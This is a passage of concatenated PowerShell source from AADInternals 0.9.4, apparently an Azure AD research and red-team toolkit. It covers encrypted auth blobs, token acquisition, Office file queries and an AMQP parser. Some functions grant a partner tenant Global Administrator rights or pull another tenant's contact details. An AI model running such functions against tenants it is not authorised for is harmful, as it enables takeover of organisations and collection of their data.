$encKeySize $IV = $Data[$p..($p+$IVSize-1)]; $p += $IVSize $encData = $Data[$p..($p+$encDataSize-1)]; $p += $encDataSize return [PSCustomObject][ordered]@{ "ThumbPrint" = $thumbPrint "Key" = $encKey "IV" = $IV "EncryptedData" = $encData } } } # Creates a new ADAuthInfo BLOB using the given parameters # Dec 22nd 2022 function New-ADAuthInfo { [CmdletBinding()] param( [Parameter(Mandatory=$true)] [byte[]]$Data, [Parameter(Mandatory=$true)] [byte[]]$Thumbprint, [Parameter(Mandatory=$true)] [byte[]]$Key, [Parameter(Mandatory=$true)] [byte[]]$InitialVector ) Process { # Set the values $version = 1 $reserved = 0 $encKeyAlg = 1 $payloadEncKeyAlg = 1 $thumbPrintSize = $Thumbprint.Length $encKeySize = $Key.Length $IVSize = $InitialVector.Length $encDataSize = $Data.Length [System.IO.MemoryStream]$memoryStream = [System.IO.MemoryStream]::new(0x144 + $encDataSize) # Construct the blob $memoryStream.Write([System.BitConverter]::GetBytes([Int32]$version ),0,4) $memoryStream.Write([System.BitConverter]::GetBytes([Int32]$reserved ),0,4) $memoryStream.Write([System.BitConverter]::GetBytes([Int32]$encKeyAlg ),0,4) $memoryStream.Write([System.BitConverter]::GetBytes([Int32]$payloadEncKeyAlg),0,4) $memoryStream.Write([System.BitConverter]::GetBytes([Int32]$thumbPrintSize ),0,4) $memoryStream.Write([System.BitConverter]::GetBytes([Int32]$encKeySize ),0,4) $memoryStream.Write([System.BitConverter]::GetBytes([Int32]$IVSize ),0,4) $memoryStream.Write([System.BitConverter]::GetBytes([Int32]$encDataSize ),0,4) $memoryStream.Write($thumbPrint ,0,$thumbPrintSize) $memoryStream.Write($Key ,0,$encKeySize) $memoryStream.Write($InitialVector,0,$IVSize) $memoryStream.Write($Data ,0,$encDataSize) $blob = $memoryStream.ToArray() return $blob } End { $memoryStream.Dispose() } } # Encrypts the given ADAuthInfo BLOB with the given certificate # Dec 22nd 2022 function Protect-ADAuthInfo { [CmdletBinding()] param( [Parameter(Mandatory=$true)] [byte[]]$Data, [Parameter(Mandatory=$true)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate ) Process { # Create the encryptor [System.Security.Cryptography.AesCryptoServiceProvider]$aesCryptoServiceProvider = [System.Security.Cryptography.AesCryptoServiceProvider]::new() $aesCryptoServiceProvider.KeySize = 256 $aesCryptoServiceProvider.BlockSize = 128; $aesCryptoServiceProvider.Mode = [System.Security.Cryptography.CipherMode]::CBC $aesCryptoServiceProvider.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aesCryptoServiceProvider.GenerateKey() $aesCryptoServiceProvider.GenerateIV() # Ref: Microsoft.AD.DCaaS.Serialization.ADAuthInfoGenerator::Encrypt $key = $Certificate.PublicKey.Key.Encrypt($aesCryptoServiceProvider.Key,$true) [Array]::Reverse($key) [System.IO.MemoryStream]$memoryStream = [System.IO.MemoryStream]::new() [System.Security.Cryptography.ICryptoTransform]$cryptoTransform = $aesCryptoServiceProvider.CreateEncryptor() [System.Security.Cryptography.CryptoStream]$cryptoStream = [System.Security.Cryptography.CryptoStream]::new($memoryStream,$cryptoTransform,[System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($Data,0,$Data.Length) $cryptoStream.FlushFinalBlock() $encryptedData = $memoryStream.ToArray() $ADAutInfo = New-ADAuthInfo -Data $encryptedData -Thumbprint (Convert-HexToByteArray -HexString $Certificate.Thumbprint) -Key $key -InitialVector $aesCryptoServiceProvider.IV return $ADAutInfo } End { $cryptoStream.Dispose() $cryptoTransform.Dispose() $memoryStream.Dispose() $aesCryptoServiceProvider.Dispose() } } # Gets access token using Azure AD Domain Services Sync certificate or password # Dec 22nd 2022 function Get-DCaaSAccessToken { [CmdletBinding()] param( [Parameter(Mandatory=$False)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(Mandatory=$False)] [string]$Password, [Parameter(Mandatory=$True)] [guid]$TenantId, [Parameter(Mandatory=$True)] [guid]$ClientId, [Parameter(Mandatory=$False)] [string]$Scope = "https://graph.microsoft.com//.default" ) Process { # Use client certificate if([string]::IsNullOrEmpty($Password)) { # Load the private key (otherwise signing won't work) $privKey = Load-PrivateKey -Certificate $certificate # Create header $kid = $certificate.Thumbprint $x5t = Convert-ByteArrayToB64 -Bytes (Convert-HexToByteArray -HexString $kid) -UrlEncode $x5c = Convert-ByteArrayToB64 -Bytes $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert) $nbf = [int]((Get-Date).ToUniversalTime() - $epoch).TotalSeconds $exp = $nbf + 600 # Valid for 10 minutes $header=[ordered]@{ "x5t" = $x5t "kid" = $kid "x5c" = $x5c "alg" = "RS256" "typ" = "JWT" } # Create payload $payload=[ordered]@{ "aud" = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" "iss" = $ClientId "nbf" = $nbf "exp" = $exp "sub" = $ClientId "jti" = (New-Guid).ToString() } $client_assertion = New-JWT -Header $header -Payload $payload -PrivateKey $privKey $body=[ordered]@{ "client_id" = $ClientId "client_info" = 1 "client_assertion_type" = "urn:ietf:params:oauth:client-assertion-type:jwt-bearer" "client_assertion" = $client_assertion "scope" = $Scope "grant_type" = "client_credentials" } } # Use password else { $body=[ordered]@{ "client_id" = $ClientId "client_secret" = $Password "scope" = $Scope "grant_type" = "client_credentials" } } $response = Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -Method Post -Body $body return $response.access_token } End { if($privKey) { Unload-PrivateKey -PrivateKey $privKey } } }
OfficeApps.ps1
AADInternals-0.9.4
# This script contains functions for OfficeApps # https://office.microsoft.com/Config15 # Get user Office connections function Get-UserConnections { <# .SYNOPSIS Returns user's office connections .DESCRIPTION Returns user's office connections .Example $cred=Get-Credential $at=Get-AADIntAccessTokenForOfficeApps -credentials $cred Get-AADIntUserConnections -AccessToken $at #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "ab9b8c07-8f02-4f72-87fa-80105867a763" -Resource "https://officeapps.live.com" $headers = @{ "Authorization"="Bearer $AccessToken" } $response=Invoke-RestMethod -UseBasicParsing -Uri "https://odc.officeapps.live.com/odc/servicemanager/userconnected" -Headers $headers return $response.ConnectedServicesResults.ServiceConnections.Connection } } # Get recently used Office file connections function Get-RecentLocations { <# .SYNOPSIS Returns user's recent office file locations .DESCRIPTION Returns user's recent office file locations .Example $cred=Get-Credential $at=Get-AADIntAccessTokenForOfficeApps -credentials $cred Get-AADIntRecentLocations -AccessToken $at #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [ValidateSet('Word','PowerPoint','OneNote','Excel','Visio','Sway','All')] [String]$App="All", [Parameter(Mandatory=$False)] [Int]$Show=100 ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "ab9b8c07-8f02-4f72-87fa-80105867a763" -Resource "https://officeapps.live.com" $headers = @{ "Authorization"="Bearer $AccessToken" } if($App -eq "All") { $Apps='Word,PowerPoint,OneNote,Excel,Visio,Sway' } else { $Apps=$App } Invoke-RestMethod -UseBasicParsing -Uri "https://ocws.officeapps.live.com/ocs/locations/recent?apps=$Apps&show=$Show" -Headers $headers } } # Gets documents shared with the given user function Get-SharedWithUser { <# .SYNOPSIS Returns the documents shared with the given user .DESCRIPTION Returns the documents shared with the given user .Example $cred=Get-Credential $at=Get-AADIntAccessTokenForOfficeApps -credentials $cred Get-AADIntSharedWithUser -AccessToken $at #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "ab9b8c07-8f02-4f72-87fa-80105867a763" -Resource "https://officeapps.live.com" $headers = @{ "Authorization"="Bearer $AccessToken" } $response=Invoke-RestMethod -UseBasicParsing -Uri "https://ocws.officeapps.live.com/ocs/docs/v2.0/sharedwithme" -Headers $headers return $response.shared_documents } }
AdminAPI.ps1
AADInternals-0.9.4
# This file contains functions utilising https://admin.microsoft.com API # Approves the delegated admin request # Sep 22nd 2021 function Approve-MSPartnerDelegatedAdminRequest { <# .SYNOPSIS Assigns Delegated Admin Permissions (DAP) for the given partner organisation. .DESCRIPTION Assigns Delegated Admin Permissions (DAP) for the given partner organisation. .Parameter TenantId TenantId of the partner organisation. .Parameter Domain Any registered domain of the partner organisation. .Example PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache PS C:\>Approve-AADIntMSPartnerDelegatedAdminRequest -Domain company.com responseCode message ------------ ------- success .Example PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache PS C:\>Approve-AADIntMSPartnerDelegatedAdminRequest -TenantId c7e52a77-e461-4f2e-a652-573305414be9 responseCode message ------------ ------- success #> [cmdletbinding()] Param( [Parameter(ParameterSetName='TenantId',Mandatory=$True)] [guid]$TenantId, [Parameter(ParameterSetName='Domain',Mandatory=$True)] [String]$Domain, [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { if($Domain) { $TenantId = Get-TenantID -Domain $Domain } $body = @{ "authorizeDelegateAdminData" = [ordered]@{ "msppId" = 0 "partnerId" = $TenantId "companyName" = " " "indirectCSPId" = "" "userTenantId" = (Read-Accesstoken $AccessToken).tid "enableDap" = $true "invitationType" = "Administration" "address" = $null "roles" = @( "62e90394-69f5-4237-9190-012177145e10" # Global Administrator "729827e3-9c14-49f7-bb1b-9608f156bbb8" # Helpdesk Administrator ) "userPrincipalName" = $null } } try { $response = Invoke-AdminAPI -Method Post -AccessToken $AccessToken -Url "fd/commerceMgmt/partnermanage/partners/csp/delegatedaccess?api-version=2.1" -Body ($body | ConvertTo-Json) } catch { Write-Error ($_.ErrorDetails.Message | ConvertFrom-Json).error.message return } $response } } # Gets the list of partners # Dec 9th 2021 function Get-MSPartners { <# .SYNOPSIS Shows organisation's partners. .DESCRIPTION Shows organisation's partners using Admin API. .Parameter AccessToken Access token to retrieve partners. .Example PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache PS C:\>Get-AADIntMSPartners Identity : b1f6d5cc-f1d3-41d9-b88c-1d177aaf171b DisplayName : Partner Ltd Email : [email protected] Website : http://www.company.com Phone : +1234567890 Relationship : Indirect Reseller and Admin TypeDetail : PartnerAdmin CanDelete : False CanRemoveDap : True AllDataRetrieved : True #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { try { $response = Invoke-AdminAPI -AccessToken $AccessToken -Url "admin/api/Partners/GetPartners" -Method Post } catch { if($_.ErrorDetails.Message) { throw $_.ErrorDetails.Message } else { throw $_.Exception.Message } return } $response } } # Returns access token for the requested resource # Dec 9th 2021 function Get-AccessTokenUsingAdminAPI { <# .SYNOPSIS Gets access token for the requested resource using Admin API. .DESCRIPTION Gets access token for the requested resource using Admin API. The client id of the retuned access token is 00000006-0000-0ff1-ce00-000000000000 (Microsoft Office 365 Portal). .Parameter Access Some supported type of access token. .Parameter TokenType The type of the access token to return. Can be one of "PortalAT","BusinessStoreAT" .Parameter Resource Gets an access token for the given resource. Can be one of "https://management.core.windows.net/","https://graph.microsoft.com/" .Example PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache PS C:\>$at = Get-AADIntAccessTokenUsingAdminAPI -TokenType PortalAT .Example PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache PS C:\>$at = Get-AADIntAccessTokenUsingAdminAPI -Resource https://management.core.windows.net/ #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Normal',Mandatory=$True)] [ValidateSet('PortalAT','BusinessStoreAT')] [String]$TokenType, [Parameter(ParameterSetName='Resource',Mandatory=$True)] [ValidateSet('https://graph.microsoft.com/','https://management.core.windows.net/')] [String]$Resource, [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [Microsoft.PowerShell.Commands.WebRequestSession]$WebSession, [Parameter(Mandatory=$False)] [bool]$SaveToCache=$False ) Process { if($TokenType) { $access_token = Invoke-AdminAPI -AccessToken $AccessToken -Url "admin/api/users/getuseraccesstoken?tokenType=$TokenType" -Method Get -WebSession $WebSession } else { $access_token = Invoke-AdminAPI -AccessToken $AccessToken -Url "admin/api/users/token" -Method Post -Body "=$Resource" } if($SaveToCache) { Add-AccessTokenToCache -AccessToken $access_token } else { $access_token } } } # Approves the delegated admin request # Dec 11th 2021 function Remove-MSPartnerDelegatedAdminRoles { <# .SYNOPSIS Removes Delegated Admin Permissions (DAP) from the given partner organisation. .DESCRIPTION Removes Delegated Admin Permissions (DAP) from the given partner organisation. .Parameter TenantId TenantId of the partner organisation. .Parameter Domain Any registered domain of the partner organisation. .Example PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache PS C:\>Remove-AADIntMSPartnerDelegatedAdminRoles -Domain company.com responseCode message ------------ ------- success .Example PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache PS C:\>Remove-AADIntMSPartnerDelegatedAdminRoles -TenantId c7e52a77-e461-4f2e-a652-573305414be9 responseCode message ------------ ------- success #> [cmdletbinding()] Param( [Parameter(ParameterSetName='TenantId',Mandatory=$True)] [guid]$TenantId, [Parameter(ParameterSetName='Domain',Mandatory=$True)] [String]$Domain, [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { if($Domain) { $TenantId = Get-TenantID -Domain $Domain } try { $response = Invoke-AdminAPI -Method Delete -AccessToken $AccessToken -Url "fd/commerceMgmt/partnermanage/partners/csp/$TenantId/delegatedaccess?api-version=2.1" } catch { Write-Error ($_.ErrorDetails.Message | ConvertFrom-Json).error.message return } $response } } # Returns tenant organisation information # Jan 26th 2022 function Get-TenantOrganisationInformation { <# .SYNOPSIS Returns organisation information for the given tenant. .DESCRIPTION Returns organisation information for the given tenant using commercial API used to get Partner Tenant information. .Parameter AccessToken Access Token used to fetch information. Can be any standard user of any tenant. .Parameter TenantId TenantId of the target tenant. .Parameter Domain Domain name of the target tenant. .Example PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache PS C:\>Get-AADIntTenantOrganisationInformation -Domain "company.com" TenantId : 043050e2-7993-416a-ae66-108ab1951612 CompanyName : Company Ltd StreetAddress : 10 Wall Street ApartmentOrSuite : 666 City : New York StateOrProvince : NY PostalCode : 10005 CountryCode : US PhoneNumber : 1234567890 FirstName : John LastName : Doe #> Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName='Domain',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='TenantId',Mandatory=$True)] [guid]$TenantId ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" if($Domain) { [guid]$TenantId = [guid](Get-TenantID -Domain $Domain) } if($TenantId -eq ([guid](Read-AccessToken $AccessToken).tid)) { Write-Error "Can't query information from your own tenant. Log in to another tenant and try again." return } $headers = @{ "Authorization" = "Bearer $AccessToken" "Accept" = "application/json; charset=utf-8" } $response = Invoke-WebRequest -UseBasicParsing -uri "https://admin.microsoft.com/fd/commerceMgmt/partnermanage/partners/csp/$($TenantId.toString())/delegatedaccess?invType=Administration&api-version=2.1" -Headers $headers # Content is utf-8 encoded json, but response headers don't have encoding information $responseBytes = New-Object byte[] $response.RawContentLength $response.RawContentStream.Read($responseBytes,0,$response.RawContentLength) $responseObj = ConvertFrom-Json -InputObject ([text.encoding]::UTF8.GetString($responseBytes)) $tenantInfo = $responseObj.authorizeDelegateAdminData $attributes = [ordered]@{ "TenantId" = $tenantInfo.partnerId "CompanyName" = $tenantInfo.companyName "StreetAddress" = $tenantInfo.address.line1 "ApartmentOrSuite" = $tenantInfo.address.line2 #"Line3" = $tenantInfo.address.line3 "City" = $tenantInfo.address.city "StateOrProvince" = $tenantInfo.address.state "PostalCode" = $tenantInfo.address.postalCode "CountryCode" = $tenantInfo.address.countryCode "PhoneNumber" = $tenantInfo.address.phoneNumber "FirstName" = $tenantInfo.address.firstName "LastName" = $tenantInfo.address.lastName } New-Object psobject -Property $attributes } }
AMQP.ps1
AADInternals-0.9.4
# This file contains functions for AMQP and relay messaging # http://docs.oasis-open.org/amqp/core/v1.0/os/amqp-core-transport-v1.0-os.html # Parses Bus message from the given byte array function Parse-BusMessage { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes ) Process { # Check the message type if($Bytes[0] -eq 0x41 -and $Bytes[1] -eq 0x4D -and $Bytes[2] -eq 0x51 -and $Bytes[3] -eq 0x50) { # This is version negotiation message # Construct the message object $message = New-Object PSObject switch($Bytes[4]) { 0 { $type = "AMQP"} 1 { $type = "AMQP"} 2 { $type = "TLS"} 3 { $type = "SASL"} } $message | Add-Member -NotePropertyName "Type" -NotePropertyValue "Protocol $type" $message | Add-Member -NotePropertyName "Protocol" -NotePropertyValue $Bytes[4] $message | Add-Member -NotePropertyName "Major" -NotePropertyValue $Bytes[5] $message | Add-Member -NotePropertyName "Minor" -NotePropertyValue $Bytes[6] $message | Add-Member -NotePropertyName "Revision" -NotePropertyValue $Bytes[7] } elseif($Bytes[0] -eq 0x00 -and $Bytes[1] -eq 0x53 -and $Bytes[2] -eq 0x75 -and $Bytes[3] -eq 0xb0) { # This is a OnewaySend message $message = Parse-RelayMessage -Bytes $Bytes } else { # This is an AMQP frame $message = Parse-AMQPFrame -Bytes $Bytes } Write-Verbose "IN: $message" return $message } } # Parses AMQP Frame error # Mar 12th 2020 function Parse-AMQPError { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [PSObject]$Error ) Process { $retVal = $Error # If the error is not $null, let's try to get the actual error message if($Error -ne $null) { $enum = $Error.getEnumerator() if($enum.MoveNext()) { $retVal = $enum.Value[1] } } return $retVal } } # Parses AMQP Frame from the given byte array # Mar 10th 2020 function Parse-AMQPFrame { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes ) Process { # Parse the header $Size = ([BitConverter]::ToUInt32($Bytes[3..0],0)) $DOff = $Bytes[4] $ExtendedHeader = $Bytes[8..$($DOff * 4)] # Construct the message $message = New-Object PSObject $message | Add-Member -NotePropertyName "Size" -NotePropertyValue $Size $message | Add-Member -NotePropertyName "DOFF" -NotePropertyValue $DOff $message | Add-Member -NotePropertyName "Extended Header" -NotePropertyValue $ExtendedHeader # Data position $pos = $DOff * 4 + 2 if($Bytes[5] -eq 0x00) # Parse AQMP Frame { $message | Add-Member -NotePropertyName "Type" -NotePropertyValue "AQMP" # Channel $channel = ([BitConverter]::ToUInt16($Bytes[7..6],0)) $message | Add-Member -NotePropertyName "Channel" -NotePropertyValue $channel switch($Bytes[$pos++]) { 0x10 { $message.Type = "AQMP Open" $content = Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$pos) $message | Add-Member -NotePropertyName "ContainerId" -NotePropertyValue $content[0] $message | Add-Member -NotePropertyName "HostName" -NotePropertyValue $content[1] $message | Add-Member -NotePropertyName "MaxFrameSize" -NotePropertyValue $content[2] $message | Add-Member -NotePropertyName "ChannelMax" -NotePropertyValue $content[3] $message | Add-Member -NotePropertyName "IdleTimeOut" -NotePropertyValue $content[4] $message | Add-Member -NotePropertyName "OutgoingLocales" -NotePropertyValue $content[5] $message | Add-Member -NotePropertyName "IncomingLocales" -NotePropertyValue $content[6] $message | Add-Member -NotePropertyName "OfferedCapabilities" -NotePropertyValue $content[7] $message | Add-Member -NotePropertyName "DesiredCapabilities" -NotePropertyValue $content[8] $message | Add-Member -NotePropertyName "Properties" -NotePropertyValue $content[9] } 0x11 { $message.Type = "AQMP Begin" $content = Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$pos) $message | Add-Member -NotePropertyName "RemoteChannel" -NotePropertyValue $content[0] $message | Add-Member -NotePropertyName "NextOutgoingId" -NotePropertyValue $content[1] $message | Add-Member -NotePropertyName "IncomingWindow" -NotePropertyValue $content[2] $message | Add-Member -NotePropertyName "OutgoingWindow" -NotePropertyValue $content[3] $message | Add-Member -NotePropertyName "HandleMax" -NotePropertyValue $content[4] $message | Add-Member -NotePropertyName "OfferedCapabilities" -NotePropertyValue $content[5] $message | Add-Member -NotePropertyName "DesiredCapabilities" -NotePropertyValue $content[6] $message | Add-Member -NotePropertyName "Properties" -NotePropertyValue $content[7] } 0x12 { $message.Type = "AQMP Attach" $content = Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$pos) $message | Add-Member -NotePropertyName "Name" -NotePropertyValue $content[0] $message | Add-Member -NotePropertyName "Handle" -NotePropertyValue $content[1] $message | Add-Member -NotePropertyName "Direction" -NotePropertyValue "out" if($content[2] -eq "True"){ $message.Direction = "in"; $targetPos=-1} # Target $enum=$content[(6+$targetPos)].Values.GetEnumerator() if($enum.MoveNext()) { $message | Add-Member -NotePropertyName "Target" -NotePropertyValue ($enum.Value[0]) } # Tracking id $enum=$content[13].Values.GetEnumerator() if($enum.MoveNext()) { $message | Add-Member -NotePropertyName "TrackingId" -NotePropertyValue ($enum.Value) } } 0x13 { $message.Type = "AQMP Flow" $content = Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$pos) $message | Add-Member -NotePropertyName "NextIncomingId" -NotePropertyValue $content[0] $message | Add-Member -NotePropertyName "IncomingWindow" -NotePropertyValue $content[1] $message | Add-Member -NotePropertyName "NextOutgoingId" -NotePropertyValue $content[2] $message | Add-Member -NotePropertyName "OutgoingWindow" -NotePropertyValue $content[3] $message | Add-Member -NotePropertyName "Handle" -NotePropertyValue $content[4] $message | Add-Member -NotePropertyName "DeliveryCount" -NotePropertyValue $content[5] $message | Add-Member -NotePropertyName "LinkCredit" -NotePropertyValue $content[6] $message | Add-Member -NotePropertyName "Available" -NotePropertyValue $content[7] $message | Add-Member -NotePropertyName "Drain" -NotePropertyValue $content[8] $message | Add-Member -NotePropertyName "Echo" -NotePropertyValue $content[9] $message | Add-Member -NotePropertyName "Properties" -NotePropertyValue $content[10] } 0x14 { $message.Type = "AQMP Transfer" $content = Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$pos) $message | Add-Member -NotePropertyName "Handle" -NotePropertyValue $content[0] $message | Add-Member -NotePropertyName "DeliveryId" -NotePropertyValue $content[1] $message | Add-Member -NotePropertyName "DeliveryTag" -NotePropertyValue $content[2] $message | Add-Member -NotePropertyName "MessageFormat" -NotePropertyValue $content[3] $message | Add-Member -NotePropertyName "Settled" -NotePropertyValue $content[4] $message | Add-Member -NotePropertyName "More" -NotePropertyValue $content[5] $message | Add-Member -NotePropertyName "RcvSettleMode" -NotePropertyValue $content[6] $message | Add-Member -NotePropertyName "State" -NotePropertyValue $content[7] $message | Add-Member -NotePropertyName "Resume" -NotePropertyValue $content[8] $message | Add-Member -NotePropertyName "Aborted" -NotePropertyValue $content[9] $message | Add-Member -NotePropertyName "Batchable" -NotePropertyValue $content[10] } 0x16 { $message.Type = "AQMP Detach" $content = Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$pos) $message | Add-Member -NotePropertyName "Handle" -NotePropertyValue $content[0] $message | Add-Member -NotePropertyName "Closed" -NotePropertyValue $content[1] $message | Add-Member -NotePropertyName "Error" -NotePropertyValue (Parse-AMQPError -Error $content[2]) } 0x17 { $message.Type = "AQMP End" $content = Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$pos) if($content -ne $null) { $message | Add-Member -NotePropertyName "Error" -NotePropertyValue (Parse-AMQPError -Error $content[0]) } else { $message | Add-Member -NotePropertyName "Error" -NotePropertyValue $null } } 0x18 { $message.Type = "AQMP Close" if($content -ne $null) { $message | Add-Member -NotePropertyName "Error" -NotePropertyValue (Parse-AMQPError -Error $content[0]) } } } } else # Parse SASL Frame { switch($Bytes[$pos++]) { 0x40 { # sasl-server-mechanisms = list $message | Add-Member -NotePropertyName "Type" -NotePropertyValue "SASL Mechanisms" $content = Parse-AMQPList -Bytes $Bytes -Pos ([ref]$pos) $message | Add-Member -NotePropertyName "Content" -NotePropertyValue $content } 0x44 { # sasl-outcome = list $message | Add-Member -NotePropertyName "Type" -NotePropertyValue "SASL Outcome" $content = Parse-AMQPList -Bytes $Bytes -Pos ([ref]$pos) # Status $statusCodes = @("ok","auth","sys","sys-perm","sys-temp") $status = $statusCodes[$content[0]] # Message $text = [text.encoding]::ASCII.GetString( [convert]::FromBase64String($content[1])) $message | Add-Member -NotePropertyName "Status" -NotePropertyValue $status $message | Add-Member -NotePropertyName "Message" -NotePropertyValue $text } } } return $message } } # Parses an AMQP item from the given byte array # Mar 10th 2020 function Parse-AMQPItem { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes, [Parameter(Mandatory=$True)] [ref]$Pos ) Process { $p=$Pos.Value $retVal = $null # Check the item type switch($Bytes[$p++]) { # descriptor constructor 0x00 { $descriptor = Parse-AMQPItem -Bytes $Bytes -Pos([ref]$p) $value = Parse-AMQPItem -Bytes $Bytes -Pos([ref]$p) $retVal = @{ $descriptor = $value } } # null 0x40 { $pos.Value = $p return $null } # true 0x41 { $retVal = $True } # false 0x42 { $retVal = $False } # uint 0 0x43 { $retVal = 0 } # ulong 0 0x44 { $retVal = 0 } # empty list 0x45 { $retVal = @() } # boolean 0x56 { $boolean = $Bytes[$p++] $retVal = $boolean -eq 0x01 # 0x01 = true } # ubyte 0x50 { $retVal = [byte]$Bytes[$p++] } # byte 0x51 { $retVal = [byte]$Bytes[$p++] } # smalluint 0x52 { $retVal = [byte]$Bytes[$p++] } # smallulong 0x53 { $retVal = [byte]$Bytes[$p++] } # smallint 0x54 { $retVal = [int]$Bytes[$p++] } # smalllong 0x55 { $retVal = [long]$Bytes[$p++] } # ushort 0x60 { $retVal = [BitConverter]::ToUInt16($Bytes[$($p+1)..$($p)],0) $p+=2 } # short 0x61 { $retVal = [BitConverter]::ToInt16($Bytes[$($p+1)..$($p)],0) $p+=2 } # uint 0x70 { $retVal = [BitConverter]::ToUInt32($Bytes[$($p+3)..$($p)],0) $p+=4 } # int 0x71 { $retVal = [BitConverter]::ToUInt32($Bytes[$($p+3)..$($p)],0) $p+=4 } # float 0x72 { $retVal = [float][BitConverter]::ToInt32($Bytes[$($p+3)..$($p)],0) $p+=4 } # char 0x73 { $retVal = [text.encoding]::UTF32.GetChars($Bytes[$($p+3)..$($p)]) $p+=4 } # decimal32 0x74 { # Do nothing $p+=4 } # ulong 0x80 { $retVal = [BitConverter]::ToUInt64($Bytes[$($p+7)..$($p)],0) $p+=8 } # long 0x81 { $retVal = [BitConverter]::ToInt64($Bytes[$($p+7)..$($p)],0) $p+=8 } # double 0x82 { $retVal = [BitConverter]::ToDouble($Bytes[$($p+7)..$($p)],0) $p+=8 } # timestamp 0x83 { $timeStamp = [BitConverter]::ToUint($Bytes[$($p+7)..$($p)],0) $retVal = $epoch.AddSeconds($timeStamp) $p+=8 } # decimal64 0x84 { # Do nothing $p+=8 } # decimal128 0x94 { # Do nothing $p+=16 } # UUID 0x98 { $retVal = [guid][BitConverter]::ToUint($Bytes[$($p+15)..$($p)],0) $p+=16 } # Binary 0xa0 { $size = $Bytes[$p++] $retVal = [convert]::ToBase64String($Bytes[$p..$($p+$size)]) $p += $size } # String 0xa1 { $size = $Bytes[$p++] $retVal = [text.encoding]::UTF8.GetString($Bytes[$p..$($p+$size-1)]) $p += $size } # symbol 0xa3 { $size = $Bytes[$p++] $retVal = [text.encoding]::ASCII.GetString($Bytes[$p..$($p+$size-1)]) $p += $size } # Binary 0xb0 { $size = [BitConverter]::ToUInt32($Bytes[$($p+3)..$($p)],0) $p+=4 $retVal = [convert]::ToBase64String($Bytes[$p..$($p+$size)]) $p += $size } # String 0xb1 { $size = [BitConverter]::ToUInt32($Bytes[$($p+3)..$($p)],0) $p+=4 $retVal = [text.encoding]::UTF8.GetString($Bytes[$p..$($p+$size)]) $p += $size } # Symbol 0xb3 { $size = [BitConverter]::ToUInt32($Bytes[$($p+3)..$($p)],0) $p+=4 $retVal = [text.encoding]::ASCII.GetString($Bytes[$p..$($p+$size)]) $p += $size } # List 0xC0 { #$p-- $retVal = Parse-AMQPList -Bytes $Bytes -Pos ([ref]$p) } # List 0xD0 { #$p-- $retVal = Parse-AMQPList -Bytes $Bytes -Pos ([ref]$p) } # Map 0xC1 { #$p-- $retVal = Parse-AMQPMap -Bytes $Bytes -Pos ([ref]$p) } # Map 0xD1 { #$p-- $retVal = Parse-AMQPMap -Bytes $Bytes -Pos ([ref]$p) } # Array 0xE0 { $retVal = Parse-AMQPArray -Bytes $Bytes -Pos ([ref]$p) } # Array 0xF0 { $retVal = Parse-AMQPArray -Bytes $Bytes -Pos ([ref]$p) } } $Pos.Value = $p #if($retVal -ne $null) #{ return $retVal #} } } # Parses a AMQP list from the given byte array # Mar 10th 2020 function Parse-AMQPList { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes, [Parameter(Mandatory=$True)] [ref]$Pos ) Process { $p=$Pos.Value $p-- # Check the list type switch($Bytes[$p++]) { 0x45 { # The empty list $size = 0 } 0xC0 { $size = $Bytes[$p++] $intSize = 1 } 0xD0 { $size = [BitConverter]::ToUInt16($bytes[$($p+3)..$($p)],0) $p += 4 $intSize = 4 } } $max = $p + $size # Next int indicates the number of the items so increase position by the size of the int $p += $intSize $retVal = @() # Loop through the items while($p -lt $max) { $retVal += Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$p) } $Pos.Value=$p return $retVal } } # Parses a AMQP list from the given byte array # Mar 10th 2020 function Parse-AMQPArray { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes, [Parameter(Mandatory=$True)] [ref]$Pos ) Process { 